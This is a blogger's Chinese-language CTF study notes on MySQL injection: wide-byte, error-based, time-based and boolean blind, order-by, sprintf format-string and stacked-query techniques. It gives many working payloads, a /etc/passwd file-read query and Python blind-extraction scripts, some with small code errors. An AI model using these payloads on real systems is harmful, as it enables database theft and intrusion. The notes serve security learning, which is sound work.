3rsh1
/single dog/college student/ctfer
3rsh1's Blog

sql注入

宽字节注入

主要是对gbk编码的使用。

%20 空格

%27 ‘

%23 #

%5c / url编码

strings addslashes(strings str)
//在 ' "  NULL \ 前加反斜线

mysql在使用gbk编码的时候会把两个符看成是一个汉字。(前一个字节的ascii值要大于128的范围,才会到汉字的范围内)

‘ –> \’ –> %5C%27

%df ‘ –> %df \ ‘ –> %df%5c %27 %df%5c在数据库查询语句解码的过程中会被认作一个汉字,而不是在前端的变化。

在网页传送数据的时候会做url编码,相对应的是url解码。

例题payload:

http://chinalover.sinaapp.com/SQL-GBK/
http://chinalover.sinaapp.com/SQL-GBK/?id=31%df%27 union select 1,database()%23

http://chinalover.sinaapp.com/SQL-GBK/?id=31%df%27 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()%23

http://chinalover.sinaapp.com/SQL-GBK/?id=31%df%27 union select 1,group_concat(column_name) from information_schema.columns where table_name=0x63746632%23//table_name值可以用十六进制代码代替

http://chinalover.sinaapp.com/SQL-GBK/?id=31%df%27 union select 1,group_concat(content) from ctf2%23//可得flag

https://www.3rsh1.cool/wp-content/uploads/2020/04/wp_editor_md_9604d51740df6f812aaf614cfa745c62.jpg

基于约束的SQL攻击:

create table user(//创建数据表
id int not null auto_increment,//id列,int类型,非空,自加排序
username varchar(30) not null,
password varchar(30) not null,
primary key(id)//主键为id列
);
insert into user values('','xiaoming','123456');//插入数据
select * from user where username='xiaoming' and password='123456';
select * from user where username='xiaoming   ' and password='123456';//和上一条一样
insert into user values('','1234++至超过30个字符','12345678');//只会截取前30位。
//可以插admin+空格

云例题:

注册:

​   用户名:admin                            1

​   密码:123456

登陆即可。

报错注入:

类型一:

and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a);
group by ?//顾名思义,就是按组分类。
concat()//把几个字段联系在一起输出。
floor() //向下取整数
rand()//取随机数无规律。
rand(0)//取随机数,有规律

简单来说一下。

对于第二个括号内的语句,是报错的主要部分。而其中的group by 函数更是重要部分。

对于group by 函数首先会建立一个虚表,表内有keyvalue 两列。key值由group by的值来确定,而value 值则主要是确定的实体表中key 值的数量。

对于floor(rand(0)) 存在011011的规律,首先建立一个虚表进行逐条记录查询。floor 取值一次为0,虚表内主键key并无0值,则插入0值,但floor在准备插入时会再调用一次生成1值,因此插入的值变为1值。同理,第二次查询值为1,发现虚表内key值存在1,则value 值 +1 ,第三次查询时floor 值为0,发现虚表内无0值,则准备插入主键,而插入时floor 函数会再调用一次,变为插入1值。又之前存在1 值,此时报错。

报错时是在concat() 执行后发生的,因此会将concat()的值给爆出来。

类型二:

or updatexml(1,concat(0x7e,user()),0)

因为updatexml 函数的第二个参数要求的是xpath 类型的字符串,所以会产生报错。

updatexml函数的长度不超过32个字节。

其他类型:

select * from (select name_const(version(),1),name_const(version(),1))a//因为列名重复报错,存在局限性。
extractvalue(1,concat(0x7e,(select database())))
and exp(~(select * from(select user())a));

期间的小技巧是:

=    
!(a<>b)
like
regexp//都起等于号的作用。

原理以后再补充把。

1.关于exp()的原理

exp(i)函数就是以e为底数的指数函数,性质上和ln相反。

如果i超过709的话就会报错,同样~0 的意思是按位将0取反,所得的数肯定是无限大的。

但同时把任意字符串转化成int的形式时得到的值刚好为0。因此可以构造语句。

select exp(~(select * from (select user)x ));

select exp(~(select * from (select load_file('/etc/passwd'))x ));//读取文件。

insert into users(id,username,password)values(1,''^exp(~(select*from(select user())x)), 'Eyre'); //插入数据。

关于实验吧题目的payload:

http://ctf5.shiyanbar.com/web/baocuo/index.php
username=' and updatexml/*and updatexml /*&password=*/(1,concat(1,(select database())),0) or '1

username=' and extractvalue/*&password=*/(1,concat(':', (select group_concat(table_name) from information_schema.tables where table_schema regexp database() ) )) and '

username=' and updatexml/*and updatexml /*&password=*/(1,concat(1,(select group_concat(value) from ffll44jj)),0) or '1

username=' and extractvalue/*&password=*/(1,concat(':', (select group_concat(column_name) from information_schema.columns where table_name regexp 'ffll44jj' ) )) and '

基于时间的盲注:

原理:运用了类似于if(exp1,exp2,exp3)语句的这样的一个逻辑。

可能需要注意的一点就是andor 的逻辑关系。

select * from table1 where id=1 or sleep(3);//sleep()是一个延时函数。
select * from table1 where id=1 and sleep(3);

对于第一个or 有种类似于或的感觉,即一个为真,则最后的结果就是真。若id=1 存在则为真,对于or的后半部分就不需要判断真假了,反之第一个逻辑为假,就需要看第二个逻辑运行第二个逻辑变为真。所求的目的不过是让这个或关系为真罢了。即,要么…要么…。其中应注意一点,所谓的查询语句是逐条对其进行查询真假的。

对于 and 则有种且的感觉。必须两个逻辑同时为真才可以,若第一个逻辑为假或第二个逻辑为假都不能得到想要的结果。

那么对于if语句来说。

select * from table1 where name='a' or if(substr((database()),1,1)='a',1,0);

select * from table1 where name='a' or if(substr((database()),1,1)='a',sleep(3),0);
//substr中,select可加可不加。
select * from table1 where name='a' or if(substr((database()),1,1)rlike'^a',sleep(3),0);
//^从头开始,rlike和=差不多,只不过是分部分看的。换为regexp也是可以的。

为了方便也可以是基于ascii码的if判断,即运用 ascii() 函数将字符化为ascii码值再进行判断,不会用到引号。

对于 case when 语句来说:

select case when name='admin' then sleep(3) else null end from usr1;
substr(string,position,个数)//substr('abcd',1,1)=a;
substring(str,pos,len)//这个用法和substr差不多。
substring(str,2)//若是没有len参数,则返回第二位开始包括第二位剩下的字符串。和(str from 2)一样。 
substring(str from a for b)//从第a位开始截取b个字节,特点是内部没有逗号。

对于benchmark()函数来说:

benchmark(count,expr)//benchmark(10000000,sha(1))

就是执行exp表达式count次,用作sleep的代替函数。计算次数上去了时间自然上去了。

对于笛卡尔积方法:

select count(*) from usr1.table1 A,usr1.table1 B,usr1.table1 C;

其实就是A表和B表和C表内的每行数据相互组合,最后得出来的混合数据的表。count(*)就是计算表内的数据条数。主要是语句内没啥重要的函数,可以防一定的过滤。

对于rlike方法:

就是通过构造一连串贼长贼长的字符串,让他不停的做正则匹配。通过rlikerepeat构造长字符串加以计算量大的pattern通过repeat的参数可以控制延时长短。

concat(rpad(1,99999,'a'),rpad(1,99999,'a'),rpad(1,99999,'a'),rpad(1,99999,'a'),rpad(1,99999,'a'),rpad(1,99999,'a'),rpad(1,99999,'a'),rpad(1,99999,'a'),rpad(1,99999,'a'),rpad(1,99999,'a'),rpad(1,99999,'a'),rpad(1,99999,'a'),rpad(1,99999,'a')) rlike '(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+b'

——2020.2.22 21点33分


云做题payload:

import requests
url='http://www.baidu.com'
flag=''
for i in range(1,50):
    for x in range(1,128):
        try:
            header={"x-forworded-for":' 111\' +  (select case when ascii(substr((select database()) from %d for 1))= %s then sleep(4) else null) or \'1' %(i,x)}
            res=requests.get(url,header=header,timeout=4)
        except:
            flag=flag+chr(x)
            print(flag)

import requests
url='http://ctf5.shiyanbar.com/web/baocuo/index.php'
flag='flag'
for i in range(1,50):
    for x in range(1,128):
        try:
            guess=flag+chr(x)
            data={"username":'1\'/*',
                "password":'*/ or if(((select value from ffll44jj) regexp \'^'+guess+'\'),(select count(*) from information_schema.columns A,information_schema.columns B,information_schema.columns C),null)'}
            res=requests.post(url,data=data,timeout=3)
        except:
            flag=flag+chr(x)
            print(flag)

上面是,前前道例题的另一种解法,脚本好麻烦。

bool型盲注(和基于时间的盲注差不多):

和基于时间的盲注差不多。

select * from table1 where id=1 and 1;//正常回显。
select * from table1 where id=1 and 0;//不能正常回显。

就是根据and的关系进行注入。

select * from table1 where id=1 and if(expr,1,0);

昨天看的一篇文章忘记总结了,也只看了一点,这里就暂且总结一下,and和or在逻辑运算中的关系。

对于and连接的各个逻辑,自左到右各个逻辑判断真假,若是其中出现一个错误逻辑则,整条语句不起作用。

对于or来说同样挨个逻辑判断真假,只要遇到一个真逻辑就可以,后面的逻辑就不再执行了。

mid(str,pos,lenth)//和substr类似。
left(str,lenth)//从左开始截取。
right(str,lenth)//从右开始截取。
chr(97)//a
ord('a')//97
ascii('a')//97

果然还是写一下云做题的payload吧:

import requests
url='http://www.baidu.com'
flag=''
dicts='abcdefghijklmnopqrstuvwxyz1234567890_=+@!%{}'
for i in range(1,50):
    for x in dicts:
        url=url+'?username=(ascii(substr((select password from user) from 1 for 1))=%d)'%ord(x)
        response=requests.get(url)
        if response.content.find(b'password error!') != -1:
            flag=flag+x
            print(flag)
        else:
            pass
#不知道有没有错误,没有题目。

order by 的注入:

(对查询结果以某列或多列排序)对于order by用法:

order by [column_name][desc|asc][1...n]
order by id asc;

可通过列号来代替列名,但order by 2order by 3-1不同,一般若其内含有运算式子,则一般都按第一列排序。其中的asc是正序,即升序。desc是倒顺序,即降序。

& 按位与
| 按位或
~ 按位取反
^ 按位异或
以上需要化为二进制数之后进行运算。
&& and
|| or

order by 后面也可以加报错语句进行报错注入,神奇。或者说和bool 盲注联系在一起。

order by if(1,id,name)//可行
order by if(1,2,3)//不可行
//咱也不知道为啥。就是很神奇。
order by id|3;
order by id|(if(1,3,1));
order by id|(if(exp,3,1));

上面的这个代码段就是可以用作注入payload的,真的奇奇怪怪的。

原理是,id会有1,2,3,这样的值,上面的语句是先把id的值和3做或运算再进行排序。类比到其他的位运算估计也是可以的。

此处还需要注意的一点就是,如果一个逻辑判断为真则会返回1,反之会返回0。那么对于上面的语句就可以做这样的一个利用。而且如果用正则匹配的形式则不需要分割字符串,而是逐位判断,总体上看起来要简单一些。只不过其局限性必须是要必须要自前向后判断。

order by id|((expr)+1);

云做题payload:

害,不想写payload了,这次只记几个小技巧吧。

(select 1,2,3)union(select 4,5,6);//对于union,虽然不可以直接在order by 后面加,但可以连接两个括号内的内容。
#请求走代理的脚本实例。

import requests
proxies={'http':'http://127.0.0.1:8080','https':'https://127.0.0.1:8080'}
#proxy='username:password@123.58.10.36:8080'
try:
    response=requests.get('http://www.baidu.com',proxies=proxies)
    print(response.content)
except requests.exceptions.ConnectionError as e:
    print('错误:',e.args)

insert,update和delete注入:

奇奇怪怪的注入。

insert into table1 values(1,'wang',21);//
insert into table1 values(1,database(),21);//其内含有敏感信息
insert into table1 values(1,'wang'or (报错语句),21);//报错注入。
但是,如果直接 'wang' or (语句)会直接报错,还是注意一下吧。    
update table1 set year=11 where id=1;
update table1 set year=11 or (报错语句) where id=1 or (报错语句);
delete from table1 where id=1 or (报错语句);

万能密码:

select * from table1 where username='admin' and password='123456';
select * from table1 where username='admin'#' and password='123456';
select * from table1 where username=''+'' and password=''+'';对于非数字开头的字符串有效。
select * from table1 where username=0 and password=0;//弱类型
select * from table1 where username='admin'='' and password='123456'='';//利用假=假为真
select\Nfrom table1 where username=0 and password=0;//

desc注入:

在数据库中,反引号可用于保留字段如select 转化为文本,其实感觉就和\差不多。//有误,明天勘误。

desc [table_name] [column_name|wild]
desc `table1` `id`;正常返回
desc `table1` `union select 1,2`;返回空

——2020年2月25日22点26分


关于limit的用法:

limit主要是限制输出的数据行数,就比如说一个表有多行数据嘛,然后limit可以指定输出几行数据。

用法如下:

SELECT * FROM table LIMIT [offset,] rows | rows OFFSET offset  

有两种形式的,一种是有offset字段的,另一种是没有这个字段的。

limit 1,1;//前一个1是偏移量,后一个1是指定输出的行数。
limit n;//这个就是偏移0行后,输出前n行数据。等价于:
limit 0,n;
limit 1 offset 1;//前一个1是输出的行数,后一个1是偏移量。刚好和上一种反着。

关于反引号的一些东西:

关于反引号前面的勘误,其实前面说的含义大概也是对的。

反引号就是为了将保留字用作表名,列名等,而用的字符。是为了区分MySQL的保留字和普通字符。

https://www.jianshu.com/p/36363f4190df

sql注入的内容就先到这里,以后有新的内容会继续添加。

我觉得,总有一条路,是给我走的吧。

——2020年2月26日11点45分


格式化字符串逃逸漏洞引起的sq注入:

基础知识:

sprintf函数:

sprintf(format,arg1,arg2,arg++)

把格式化的字符串写入一个变量中。即arg的值会被插入到format中的%处,依次插入。如果%数多于arg的数量,则需要占位符\$,其具体的结构为:

%+数字+\+类型
这里需要注意的是,""会去解释字符,而''不会。在""中可以用反斜杠转义。

这里的数字是指的是第几个arg值。

对于format内的%后跟的内容也是有规定的:

%%  一个%
%d  二进制数
%c  ascii码对应的字符
%d  带有正负号的十进制数
%e  使用小写的科学计数法
%E  使用大写的科学计数法
%u  不带正负号的十进制数>=0
%f  本地设置的浮点数
%F  非本地设置的浮点数
%g  较短的%e和%f
%G  较长的%E和%f
%o  八进制数
%x  十六进制数小写字母
%X  十六进制数大写字母
%s  字符串
附加的格式值。必需放置在 % 和字母之间(例如 %.2f):

+ (在数字前面加上 + 或 - 来定义数字的正负性。默认情况下,只有负数才做标记,正数不做标记)
' (规定使用什么作为填充,默认是空格。它必须与宽度指定器一起使用。例如:%'x20s(使用 "x" 作为填充))
- (左调整变量值)
[0-9] (规定变量值的最小宽度)
.[0-9] (规定小数位数或最大字符串长度)
注意:如果使用多个上述的格式值,它们必须按照以上顺序使用。

补位,其实就是位数不够的时候用啥补齐。

格式:百分号+单引号+补位符号+长度+类型

‘是补位标志,跟在它后面的就是补位符号,比如我这要显示11个字符长度的手机号码,只显示后4位,其余用*号代替。

<?php
    str1=sprintf("%1\$s,nice to meet you,%2\$x",'xiaohua',10);
    echostr1;
    username = 'pigfly';phone = '12345678901';
    echo sprintf("%'*11s", substr($phone, -4))."\n";
?>
xiaohua,nice to meet you,a *******8901

其实在匹配的时候字符串格式和数字格式是不能转换的,所以当用%u去匹配字符串的时候是匹配不到的。

而在匹配的时候也有对号入座的怀疑。

还需要注意的一点是:format中也可以引入定义的变量,直接写变量名称就可以了。

还要提一下add-slashes函数:

addslashes(string)

就是在' " \ null前加上反斜杠。

利用原理:

<?php
input = addslashes("%1' and 1=1#");  //   %1\' and 1=1#b = sprintf("AND b='%s'", input);    //   AND b='%1\' and 1=1#'
sql = sprintf("SELECT * FROM t WHERE a='%s'b", 'admin');
//SELECT * FROM t WHERE a='admin' AND b='' and 1=1#'
echo $sql;
?>

addslashes函数给单引号加\。在语句中,

%1$/

会被看成是一个占位符即第一个arg的值且类型为\,但是显然类型不可能为\,所以引用为空。$sql输出后,就会发现adds lashes函数好像并没有什么作用。但是条件应用非常苛刻。

<?php
sql = "select * from user where username = '%\' and 1=1#';";args = "admin";
echo sprintf( sql,args ) ;
//result: select * from user where username = '' and 1=1#'
?>

同样%也是可以吞掉%后的一个字符的。因为%\显然不是一个可用的类型。所以在匹配的时候,匹配到的是空值。

<?php

input1 = '%1c) OR 1 = 1 /*';
input2 = 39;sql = "SELECT * FROM foo WHERE bar IN ('input1') AND baz = %s";sql = sprintf(sql,input2);
echo $sql;
?>

%c起到了类似chr()的效果,将数字39转化为',从而导致了sql注入。

input1中的 %1$c 是一个占位符。而在后续引用的arg值实际上为39,即'的ASCII值,而前面的占位符起到了一个类型转化的作用。

堆叠注入:

其实堆叠注入就是把许多sql语句给整合到一起然后做动作。sql语句都是分号结尾的。因此我们可以尝试构造这样的语句。即一条一条的执行语句并且回显出来。但由于部分的回显是只能回显一条语句因此可能第二条语句执行的结果不会回显。但是union联合注入就可以完美的返回出来。这也就是为什么联合注入使用较多。

?id=1';show databases;use us1;show tables;-- -

其内容一般可以绕过select等关键字。一种方法是直接修改显示的表名,让页面正常回显的内容转换为我们需要的内容。

?id=1';use us1;rename table words to word;rename table `1919810931114514` to words;ALTER TABLE words CHANGE flag id varchar(100);-- -

还有一种方法就是通过concat函数来构造查询语句。并且来执行查询语句。

';use information_schema;set @sql=concat('s','elect column_name from columns wher','e table_name="1919810931114514"');PREPARE stmt1 FROM @sql;EXECUTE stmt1;--+

这里需要注意一下,set,prepare以及execute三个一般是结合起来使用的。

因为一条sql语句一般经过三个过程:预编译,优化之后给出执行步骤,执行。一般情况下可能是你写一条sql语句之后执行三个步骤,写另一条语句之后再执行三个步骤。看起来很麻烦。因此可以用prepare预编译一条常用语句,里面的变量用 来占位即占位符。然后再用execute来执行这条语句,效率会高一些。

用变量传参做表名时,MySQL 会把变量名当做表名,这样既不是本意,也会是语法错误

demo如下:

set @table1='flag';
set @sql=concat('selec','t * from ',@tables);
prepare stmt2 from @sql;
set @a='flag';
execute stmt2 using @a;

以上也包含了例题的payload,题目来源攻防世界supersqli

http://111.198.29.45:53657/?inject=1';use supersqli;show tables;set @sql=concat('selec','t * from ','`1919810931114514`');pRepare stmt2 from @sql;execute stmt2;-- -
https://www.3rsh1.cool/wp-content/uploads/2020/04/wp_editor_md_266916221894d4386854d0ffb9e192d7.jpg

发表评论

textsms
account_circle
email

3rsh1's Blog

sql注入
宽字节注入 主要是对gbk编码的使用。 %20 空格 %27 ' %23 # %5c / url编码 strings addslashes(strings str) //在 ' " N…
扫描二维码继续阅读
2020-04-20